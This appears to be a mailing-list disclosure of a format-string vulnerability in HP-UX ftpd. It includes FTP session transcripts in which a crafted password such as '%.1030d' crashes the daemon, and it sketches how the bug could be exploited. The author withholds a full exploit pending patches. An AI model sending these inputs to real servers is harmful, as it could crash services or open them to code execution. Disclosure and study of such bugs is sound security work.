Hello, I have discovered HPUX ftpd remote vulnerability. The problem persists in using vsprintf() without format string. Example: 220 xxx FTP server (Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998) ready. user ftp 331 Guest login ok, send ident as password. pass %.1030d 230 Guest login ok, access restrictions apply. Connection closed by foreign host. Ftpd segfaulted here. Let's try with smaller value: 220 xxx FTP server (Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998) ready. user ftp 331 Guest login ok, send ident as password. pass %.1024d 230 Guest login ok, access restrictions apply. quit 221 Goodbye. Connection closed by foreign host. It works now. So, password buffer is 1024 bytes long. No problem with exploiting this, by sending such format string: %.d I have almost working exploit, but don't want to post it, until patches will be available. HP Security Team is notified. -- * Fido: 2:480/124 ** WWW: http://www.freebsd.lublin.pl ** NIC-HDL: PMF9-RIPE * * Inet: venglin@freebsd.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF *